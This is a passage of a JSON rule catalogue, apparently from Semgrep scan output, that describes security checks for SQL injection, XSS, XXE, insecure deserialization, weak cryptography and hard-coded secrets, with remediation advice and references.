[https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"helpUri":"https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql","id":"python.django.security.audit.raw-query.avoid-raw-sql","name":"python.django.security.audit.raw-query.avoid-raw-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.raw-query.avoid-raw-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"help":{"markdown":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"help":{"markdown":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","id":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","name":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","id":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","name":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-none-alg.java-jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","id":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","name":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","id":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","name":"java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"help":{"markdown":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"helpUri":"https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1","id":"javascript.jssha.jssha-sha1.jssha-sha1","name":"javascript.jssha.jssha-sha1.jssha-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jssha.jssha-sha1.jssha-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"help":{"markdown":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sh.security.string-concat.string-concat)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected string concatenation or formatting in a call to a command via 'sh'. This could be a command injection vulnerability if the data is user-controlled. Instead, use a list and append the argument."},"helpUri":"https://semgrep.dev/r/python.sh.security.string-concat.string-concat","id":"python.sh.security.string-concat.string-concat","name":"python.sh.security.string-concat.string-concat","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sh.security.string-concat.string-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"help":{"markdown":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n","text":"sqlalchemy.text passes the constructed SQL statement to the database mostly unchanged. This means that the usual SQL injection protections are not applied and this function is vulnerable to SQL injection if user input can reach here. Use normal SQLAlchemy operators (such as or_, and_, etc.) to construct SQL."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","id":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","name":"python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.audit.avoid-sqlalchemy-text.avoid-sqlalchemy-text"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"help":{"markdown":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.AutoAddPolicy)\n","text":"Detected a paramiko host key policy that implicitly trusts a server's host key. Host keys should be verified to ensure the connection is not to a malicious server. Use RejectPolicy or a custom subclass instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","id":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","name":"python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko-implicit-trust-host-key.paramiko-implicit-trust-host-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in methods like `innerHTML`, `outerHTML` or `document.write` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insecure-document-method.insecure-document-method","id":"javascript.browser.security.insecure-document-method.insecure-document-method","name":"javascript.browser.security.insecure-document-method.insecure-document-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insecure-document-method.insecure-document-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"help":{"markdown":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/ec/#elliptic-curves)\n","text":"Detected an insufficient curve size for EC. NIST recommends a key size of 224 or higher. For example, use 'ec.SECP256R1'."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","id":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","name":"python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-ec-key-size.insufficient-ec-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","id":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","name":"ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-sentinels-secret.ruby-redis-hardcoded-sentinels-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","id":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","name":"python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-hardcoded-secret.python-mysqlclient-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE 